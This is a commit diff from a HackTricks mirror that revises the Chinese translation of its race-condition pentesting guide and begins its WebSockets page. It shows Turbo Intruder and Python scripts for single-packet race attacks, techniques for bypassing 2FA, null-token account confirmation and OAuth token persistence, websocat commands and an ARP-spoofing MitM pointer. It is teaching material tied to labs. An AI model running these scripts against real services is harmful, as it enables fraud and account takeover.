mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/race-condition.md', 'src/pentesting-
This commit is contained in:
parent
9542a2e8a0
commit
a566033051
@ -837,9 +837,14 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
|
||||
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -3,56 +3,56 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> 要深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
> 为深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
||||
## Enhancing Race Condition Attacks
|
||||
## 增强 Race Condition 攻击
|
||||
|
||||
利用竞争条件的主要障碍是确保多个请求同时处理,**处理时间差异非常小——理想情况下,少于1毫秒**。
|
||||
利用 race conditions 的主要难点是确保多个请求在同一时间被处理,而且它们的 **处理时间差异非常小——理想情况下小于 1ms**。
|
||||
|
||||
在这里可以找到一些同步请求的技术:
|
||||
下面是一些用于同步请求的技术:
|
||||
|
||||
#### HTTP/2 单包攻击与 HTTP/1.1 最后字节同步
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**:支持通过单个 TCP 连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。
|
||||
- **HTTP/1.1 '最后字节同步'**:允许预发送 20-30 个请求的大部分内容,保留一个小片段,然后一起发送,实现同时到达服务器。
|
||||
- **HTTP/2**:支持在单个 TCP 连接上发送两个请求,从而减少网络抖动的影响。但由于服务器端差异,两次请求可能不足以稳定触发 race condition exploit。
|
||||
- **HTTP/1.1 'Last-Byte Sync'**:允许预发送 20-30 个请求的大部分内容,仅保留一个小片段,然后同时发送该片段,从而实现请求同时到达服务器。
|
||||
|
||||
**最后字节同步的准备**包括:
|
||||
**Last-Byte Sync 的准备工作包括:**
|
||||
|
||||
1. 发送头部和主体数据,去掉最后一个字节而不结束流。
|
||||
2. 在初始发送后暂停 100 毫秒。
|
||||
3. 禁用 TCP_NODELAY,以利用 Nagle 算法批量处理最后的帧。
|
||||
4. 进行 ping 操作以预热连接。
|
||||
1. 发送请求头和主体数据,省略最后一个字节且不结束流。
|
||||
2. 在初次发送后暂停 100ms。
|
||||
3. 禁用 TCP_NODELAY 以利用 Nagle's algorithm 对最终帧进行批量处理。
|
||||
4. 通过 ping 来预热连接。
|
||||
|
||||
随后发送的保留帧应以单个数据包到达,可以通过 Wireshark 验证。此方法不适用于静态文件,这些文件通常不涉及 RC 攻击。
|
||||
随后发送被保留的帧应会在单个数据包中到达,可通过 Wireshark 验证。该方法不适用于静态文件,静态文件通常不涉及 RC attacks。
|
||||
|
||||
### Adapting to Server Architecture
|
||||
### 适应服务器架构
|
||||
|
||||
了解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关请求进行预先的服务器端连接预热,可能会使请求时序正常化。
|
||||
理解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关紧要的请求进行服务器端的预热连接,可能会使请求时序更为一致。
|
||||
|
||||
#### Handling Session-Based Locking
|
||||
#### 处理基于会话的锁定
|
||||
|
||||
像 PHP 的会话处理程序这样的框架按会话序列化请求,可能会掩盖漏洞。为每个请求使用不同的会话令牌可以规避此问题。
|
||||
像 PHP 的 session handler 这样的框架会按会话对请求进行序列化,可能掩盖漏洞。对每个请求使用不同的 session token 可以规避此问题。
|
||||
|
||||
#### Overcoming Rate or Resource Limits
|
||||
#### 克服速率或资源限制
|
||||
|
||||
如果连接预热无效,通过大量虚假请求故意触发 Web 服务器的速率或资源限制延迟,可能会通过引发服务器端延迟来促进单包攻击,从而有利于竞争条件。
|
||||
如果连接预热无效,通过大量无害请求触发 web 服务器的速率或资源限制延迟,可能会通过引起服务器端延迟来促成 single-packet attack。
|
||||
|
||||
## Attack Examples
|
||||
## 攻击示例
|
||||
|
||||
- **Tubo Intruder - HTTP2 单包攻击 (1 个端点)**:您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值 **`%s`**,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**:你可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),在请求中修改要对 **`%s`** 进行 brute force 的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单选择 **`examples/race-single-packer-attack.py`**:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您要**发送不同的值**,可以使用这个从剪贴板中使用字典的代码进行修改:
|
||||
如果你要 **发送不同的值**,可以用这个修改后的代码,它使用来自剪贴板的 wordlist:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> 如果网站不支持 HTTP2(仅支持 HTTP1.1),请使用 `Engine.THREADED` 或 `Engine.BURP`,而不是 `Engine.BURP2`。
|
||||
> 如果网站不支持 HTTP2(仅 HTTP1.1),请使用 `Engine.THREADED` 或 `Engine.BURP` 而不是 `Engine.BURP2`。
|
||||
|
||||
- **Tubo Intruder - HTTP2 单包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他多个端点发送请求以触发 RCE,您可以将 `race-single-packet-attack.py` 脚本更改为如下内容:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 在需要先向 1 个 endpoint 发送请求,然后向其他多个 endpoint 发送请求以触发 RCE 的情况下,你可以修改 `race-single-packet-attack.py` 脚本为如下内容:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- 它也可以通过 Burp Suite 中新的 '**并行发送组**' 选项在 **Repeater** 中使用。
|
||||
- 对于 **limit-overrun**,您可以在组中 **添加相同的请求 50 次**。
|
||||
- 对于 **connection warming**,您可以在 **组的开始** 添加一些请求到 web 服务器的某个非静态部分。
|
||||
- 对于 **delaying** 处理 **一个请求和另一个请求之间** 的过程,您可以 **在两个请求之间添加额外的请求**。
|
||||
- 对于 **multi-endpoint** RC,您可以开始发送 **请求**,该请求 **进入隐藏状态**,然后在其后 **发送 50 个请求**,这些请求 **利用隐藏状态**。
|
||||
- 它也可以在 **Repeater** 中通过 Burp Suite 的新 '**Send group in parallel**' 选项使用。
|
||||
- 对于 **limit-overrun**,你可以在组里添加 **相同的请求 50 次**。
|
||||
- 对于 **connection warming**,你可以在 **组** 的 **开始** **添加** 一些 **请求** 到 web 服务器的某个非静态部分。
|
||||
- 对于 **delaying** 进程在 **一个请求与另一个请求之间** 的 2 个子状态步骤,你可以 **在两个请求之间添加额外的请求**。
|
||||
- 对于 **multi-endpoint** RC,你可以开始发送 **请求**,该 **进入隐藏状态**,然后在其之后紧接着发送 **50 个请求** 来 **利用隐藏状态**。
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **自动化 Python 脚本**:该脚本的目标是更改用户的电子邮件,同时不断验证,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到一个 RC,可以修改电子邮件,但验证发送到旧电子邮件,因为指示电子邮件的变量已经用第一个填充)。\
|
||||
当在收到的电子邮件中找到“objetivo”这个词时,我们知道收到了更改电子邮件的验证令牌,并结束攻击。
|
||||
- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
|
||||
当在收到的邮件中找到单词 "objetivo" 时,我们就知道收到了已更改邮箱的验证令牌,攻击结束。
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,21 +217,21 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### 改进单包攻击
|
||||
### Improving Single Packet Attack
|
||||
|
||||
在原始研究中解释了该攻击的限制为1,500字节。然而,在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中,解释了如何通过使用IP层分片(将单个数据包拆分为多个IP数据包)并以不同顺序发送它们,从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**,这使得在所有片段到达服务器之前,防止数据包重新组装。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。
|
||||
在最初的研究中说明该攻击受限于 1,500 bytes。然而,在 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/),解释了如何通过使用 IP layer fragmentation 将 single packet attack 的 1,500-byte 限制扩展到 TCP 的 **65,535 B window limitation**(将单个数据包拆分为多个 IP 包)并以不同顺序发送,从而在所有碎片到达服务器之前阻止重组。该技术使研究者能够在大约 166ms 内发送 10,000 个请求。
|
||||
|
||||
请注意,尽管这种改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠,但它也可能有一些软件限制。一些流行的HTTP服务器,如Apache、Nginx和Go,严格将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而,其他如NodeJS和nghttp2则没有限制。\
|
||||
这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接(限制了此RC攻击)。
|
||||
注意,尽管此改进使在需要数百/数千个数据包同时到达的 RC 中攻击更可靠,但它也可能受到一些软件限制。一些流行的 HTTP 服务器如 Apache、Nginx 和 Go 对 `SETTINGS_MAX_CONCURRENT_STREAMS` 的设置非常严格,分别为 100、128 和 250。然而,像 NodeJS 和 nghttp2 则是无限制的。\
|
||||
这基本上意味着 Apache 只会从单个 TCP 连接中考虑 100 个 HTTP 连接(限制了此 RC 攻击)。
|
||||
|
||||
您可以在仓库中找到使用此技术的一些示例[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
|
||||
你可以在仓库中找到使用该 technique 的一些示例:[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
|
||||
|
||||
## 原始BF
|
||||
## Raw BF
|
||||
|
||||
在之前的研究之前,使用了一些有效载荷,这些有效载荷只是试图尽可能快地发送数据包以引发RC。
|
||||
在上述研究之前,有一些 payloads 会尽可能快地发送包以触发 RC。
|
||||
|
||||
- **Repeater:** 查看上一节中的示例。
|
||||
- **Intruder**: 将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,并选择有效载荷为**Null payloads**并生成**30**。
|
||||
- **Repeater:** 请查看前一节的示例。
|
||||
- **Intruder**: 将 **request** 发送到 **Intruder**,在 **Options menu** 中将 **number of threads** 设置为 **30**,选择作为 payload 的 **Null payloads** 并生成 **30**。
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -281,73 +281,73 @@ asyncio.run(main())
|
||||
```
|
||||
## **RC 方法论**
|
||||
|
||||
### 限制溢出 / TOCTOU
|
||||
### 超限 / TOCTOU
|
||||
|
||||
这是最基本的竞争条件类型,其中**漏洞**出现在**限制您执行操作次数**的地方。就像在网上商店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||||
这是最基本的一类 race condition,发生在那些对可执行某个操作次数进行限制的地方出现 **漏洞**。比如在网店中多次使用同一个折扣码。一个非常简单的例子可以在 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**this bug**](https://hackerone.com/reports/759247) 中看到。
|
||||
|
||||
这种攻击有许多变体,包括:
|
||||
这类攻击有许多变体,包括:
|
||||
|
||||
- 多次兑换礼品卡
|
||||
- 多次评价产品
|
||||
- 提取或转移超过账户余额的现金
|
||||
- 重复使用单个 CAPTCHA 解
|
||||
- 绕过反暴力破解速率限制
|
||||
- 多次兑换同一张礼品卡
|
||||
- 多次为同一产品评分
|
||||
- 提取或转账导致超出账户余额
|
||||
- 复用单次 CAPTCHA 的解答
|
||||
- 绕过 anti-brute-force rate limit
|
||||
|
||||
### **隐藏子状态**
|
||||
### **隐藏的子状态**
|
||||
|
||||
利用复杂的竞争条件通常涉及利用与隐藏或**意外机器子状态**交互的短暂机会。以下是处理此问题的方法:
|
||||
利用复杂的 race conditions 通常涉及利用短暂机会与隐藏或 **非预期的机器子状态** 交互。下面是应对思路:
|
||||
|
||||
1. **识别潜在的隐藏子状态**
|
||||
- 首先确定修改或与关键数据交互的端点,例如用户资料或密码重置过程。重点关注:
|
||||
- **存储**:优先选择操作服务器端持久数据的端点,而不是处理客户端数据的端点。
|
||||
- **操作**:寻找更改现有数据的操作,这些操作更可能创建可利用的条件,而不是添加新数据的操作。
|
||||
- **键控**:成功的攻击通常涉及基于相同标识符的操作,例如用户名或重置令牌。
|
||||
- 从定位那些修改或与关键数据交互的端点开始,例如用户资料或密码重置流程。关注:
|
||||
- **Storage**:优先选择操作服务器端持久数据的端点,而不是仅处理客户端数据的端点。
|
||||
- **Action**:寻找修改现有数据的操作,这类操作比添加新数据的操作更可能产生可利用的条件。
|
||||
- **Keying**:成功的攻击通常涉及基于相同标识符(例如 username 或 reset token)的操作。
|
||||
2. **进行初步探测**
|
||||
- 使用竞争条件攻击测试识别的端点,观察是否有任何偏离预期结果的情况。意外的响应或应用程序行为的变化可能表明存在漏洞。
|
||||
- 对识别出的端点进行 race condition 测试,观察是否有与预期结果不符的情况。意外的响应或应用行为变化都可能表明存在漏洞。
|
||||
3. **证明漏洞**
|
||||
- 将攻击缩小到利用漏洞所需的最少请求数量,通常仅为两个。由于涉及精确的时机,这一步可能需要多次尝试或自动化。
|
||||
- 将攻击缩小到利用漏洞所需的最少请求数,通常只需两次请求。由于时序要求精确,这一步可能需要多次尝试或自动化。
|
||||
|
||||
### 时间敏感攻击
|
||||
|
||||
请求的时机精确性可以揭示漏洞,特别是当使用可预测的方法(如时间戳)作为安全令牌时。例如,基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。
|
||||
精确控制请求时序可以揭示漏洞,尤其是在使用可预测方法(如基于时间戳)生成 security tokens 时。例如,如果基于时间戳生成 password reset tokens,可能会导致同时请求时生成相同的 tokens。
|
||||
|
||||
**利用方法:**
|
||||
**利用方式:**
|
||||
|
||||
- 使用精确的时机,例如单个数据包攻击,发起并发的密码重置请求。相同的令牌表明存在漏洞。
|
||||
- 使用精确的时序(比如 single packet attack)同时发起 password reset 请求。若生成相同的 tokens,则表明存在漏洞。
|
||||
|
||||
**示例:**
|
||||
|
||||
- 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。
|
||||
- 同时请求两个 password reset tokens 并进行比较。匹配的 tokens 表明 token 生成存在缺陷。
|
||||
|
||||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **进行尝试。**
|
||||
可以到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) 试试。
|
||||
|
||||
## 隐藏子状态案例研究
|
||||
|
||||
### 支付并添加项目
|
||||
### 支付并添加一个商品
|
||||
|
||||
查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 以了解如何在商店中**支付**并**添加一个额外**的项目而**无需支付**。
|
||||
到 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 查看如何在商店中 **支付** 并 **添加额外** 的商品,从而 **无需为其付款**。
|
||||
|
||||
### 确认其他电子邮件
|
||||
### 确认其他邮箱
|
||||
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**,以找出平台是否验证新更改的电子邮件。
|
||||
思路是同时 **验证某个邮箱并将其更改为另一个邮箱**,以判断平台是否会验证更改后的新邮箱。
|
||||
|
||||
### 将电子邮件更改为两个基于 Cookie 的电子邮件地址
|
||||
### 基于 Cookie 将邮箱改为两个地址
|
||||
|
||||
根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 通过这种方式容易受到接管,因为它可能**将一个电子邮件的**电子邮件验证令牌**发送到另一个电子邮件**。
|
||||
根据 [**this research**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 曾可通过这种方式被接管,因为它可能会 **将一个邮箱的 email verification token 发送到另一个邮箱**。
|
||||
|
||||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **进行尝试。**
|
||||
到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) 试试。
|
||||
|
||||
### 隐藏数据库状态 / 确认绕过
|
||||
### 隐藏的数据库状态 / 确认绕过
|
||||
|
||||
如果使用**两个不同的写入**来**添加**数据库中的**信息**,则在**仅写入第一条数据**的短时间内存在一个小的时间窗口。例如,在创建用户时,**用户名**和**密码**可能会被**写入**,然后**令牌**用于确认新创建的账户被写入。这意味着在短时间内,**确认账户的令牌为 null**。
|
||||
如果使用 **2 different writes** 向 **database** 中 **添加** **信息**,会存在一小段时间窗口,期间 **只有第一份数据已被写入**。例如,在创建用户时,**username** 和 **password** 可能先被 **写入**,然后用于确认新账号的 **token** 才被写入。这意味着在短时间内,**用于确认账号的 token 为空**。
|
||||
|
||||
因此,**注册一个账户并发送多个带有空令牌**(`token=`或`token[]=`或任何其他变体)以立即确认账户,可能允许您**确认一个您无法控制电子邮件的账户**。
|
||||
因此,**注册一个账号并立即发送多次带空 token 的请求**(`token=` 或 `token[]=` 或其他变体)来确认该账号,可能允许**确认一个你不控制其邮箱的账号**。
|
||||
|
||||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **进行尝试。**
|
||||
到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) 试试。
|
||||
|
||||
### 绕过 2FA
|
||||
|
||||
以下伪代码容易受到竞争条件的影响,因为在创建会话的非常短的时间内,**2FA 并未强制执行**:
|
||||
下面的伪代码易受 race condition 攻击,因为在极短时间内,在创建会话时 **2FA 未被强制执行**:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -355,24 +355,25 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2 永久持久性
|
||||
### OAuth2 永久持久化
|
||||
|
||||
有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者注册的用户。为此,**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
|
||||
到此为止,只是一个常见的使用 google/linkedin/github 等的登录,您会看到一个页面提示:“_应用程序 \<InsertCoolName> 想要访问您的信息,您想允许吗?_”
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 这些服务允许你创建一个应用并对提供者已注册的用户进行认证。为此,**client** 将需要 **permit your application** 去访问 **OAUth provider** 内的部分数据。\
|
||||
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
|
||||
#### `authorization_code` 中的竞争条件
|
||||
#### Race Condition in `authorization_code`
|
||||
|
||||
**问题**出现在您**接受**它时,并自动将**`authorization_code`**发送到恶意应用程序。然后,这个**应用程序利用 OAUth 服务提供者中的竞争条件,从您的账户的**`authorization_code`**生成多个 AT/RT**(_身份验证令牌/刷新令牌_)。基本上,它将利用您已接受该应用程序访问您的数据的事实来**创建多个账户**。然后,如果您**停止允许该应用程序访问您的数据,一对 AT/RT 将被删除,但其他的仍然有效**。
|
||||
当你**accept it** 时问题出现,系统会自动向恶意应用发送一个 **`authorization_code`**。然后,该 **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** 用于你的账户。基本上,它会利用你允许该应用访问你数据的事实来**create several accounts**。之后,如果你**stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**,某些 AT/RT 仍可能保持有效。
|
||||
|
||||
#### `Refresh Token` 中的竞争条件
|
||||
#### Race Condition in `Refresh Token`
|
||||
|
||||
一旦您**获得有效的 RT**,您可以尝试**利用它生成多个 AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个 RT 仍然有效**。
|
||||
一旦你**obtained a valid RT**,你可能尝试**abuse it to generate several AT/RT**;即使用户撤销了对该恶意应用的权限,**several RTs will still be valid.**
|
||||
|
||||
## **WebSockets 中的 RC**
|
||||
## **RC in WebSockets**
|
||||
|
||||
在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中,您可以找到一个 Java 的 PoC,用于并行发送 websocket 消息,以利用**Web Sockets 中的竞争条件**。
|
||||
- 在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 你可以找到一个 Java PoC,用于并行发送 websocket 消息以滥用 **Race Conditions also in Web Sockets**(参见仓库)。
|
||||
- 使用 Burp’s WebSocket Turbo Intruder 你可以使用 **THREADED** 引擎来生成多个 WS 连接并并行触发 payloads。请从官方示例开始并调整 `config()`(线程数)以获得并发性;在跨 WS handler 竞争服务器端状态时,这通常比在单个连接上批量发送更可靠。参见 [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)。
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||||
@ -380,5 +381,8 @@ session['enforce_mfa'] = True
|
||||
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||||
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是 WebSocket
|
||||
## 什么是 WebSockets
|
||||
|
||||
WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间** 存活,允许随时进行双向消息传递,而无需事务系统。这使得 WebSocket 特别适合需要 **低延迟或服务器发起通信** 的应用程序,例如实时金融数据流。
|
||||
WebSocket 连接通过初始 **HTTP** 握手建立,并被设计为 **长连接**,允许在任何时间进行双向消息传递,而无需事务系统。这使得 WebSockets 在需要 **低延迟或服务器发起通信** 的应用中尤其有优势,例如实时金融数据流。
|
||||
|
||||
### WebSocket 连接的建立
|
||||
|
||||
有关建立 WebSocket 连接的详细说明可以访问 [**这里**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)。总之,WebSocket 连接通常通过客户端 JavaScript 发起,如下所示:
|
||||
关于建立 WebSocket 连接的详细说明可在[**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) 获取。总之,WebSocket 连接通常由客户端 JavaScript 发起,如下所示:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
`wss` 协议表示一个使用 **TLS** 保护的 WebSocket 连接,而 `ws` 表示一个 **不安全的** 连接。
|
||||
`wss` 协议表示使用 **TLS** 保护的 WebSocket 连接,而 `ws` 表示 **未加密** 的连接。
|
||||
|
||||
在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如以下示例所示:
|
||||
在连接建立期间,浏览器和服务器会通过 HTTP 进行握手。握手过程包括浏览器发送请求并由服务器响应,示例如下:
|
||||
|
||||
浏览器发送握手请求:
|
||||
```javascript
|
||||
@ -26,88 +26,205 @@ Connection: keep-alive, Upgrade
|
||||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||
Upgrade: websocket
|
||||
```
|
||||
服务器的握手响应:
|
||||
服务器的握手响应:
|
||||
```javascript
|
||||
HTTP/1.1 101 Switching Protocols
|
||||
Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
连接一旦建立,便保持开放以便双向消息交换。
|
||||
连接建立后将保持打开,允许双向消息交换。
|
||||
|
||||
**WebSocket 握手的关键点:**
|
||||
|
||||
- `Connection` 和 `Upgrade` 头部信号表示 WebSocket 握手的开始。
|
||||
- `Connection` 和 `Upgrade` 头部标志着 WebSocket 握手的启动。
|
||||
- `Sec-WebSocket-Version` 头部指示所需的 WebSocket 协议版本,通常为 `13`。
|
||||
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值,确保每次握手都是唯一的,这有助于防止缓存代理出现问题。该值不是用于身份验证,而是用于确认响应不是由配置错误的服务器或缓存生成的。
|
||||
- 服务器响应中的 `Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希,验证服务器打开 WebSocket 连接的意图。
|
||||
- 在 `Sec-WebSocket-Key` 头部发送一个 Base64 编码的随机值,确保每次握手唯一,有助于防止缓存代理导致的问题。该值不是用于认证,而是用来确认响应不是由配置错误的服务器或缓存生成的。
|
||||
- 在服务器响应中,`Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希,用于验证服务器确实打算打开 WebSocket 连接。
|
||||
|
||||
这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。
|
||||
这些特性确保握手过程安全可靠,为高效的实时通信奠定基础。
|
||||
|
||||
### Linux 控制台
|
||||
### Linux console
|
||||
|
||||
您可以使用 `websocat` 建立与 websocket 的原始连接。
|
||||
你可以使用 `websocat` 与 websocket 建立原始连接。
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
或创建一个 websocat 服务器:
|
||||
或者创建一个 websocat 服务器:
|
||||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### MitM websocket 连接
|
||||
|
||||
如果您发现客户端从您当前的本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
|
||||
一旦客户端尝试连接,您可以使用:
|
||||
如果你发现 clients 从你当前的本地网络连接到 **HTTP websocket**,你可以尝试一次 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) 来在 client 和 server 之间执行 MitM 攻击。\
|
||||
一旦 client 试图连接到你,你就可以使用:
|
||||
```bash
|
||||
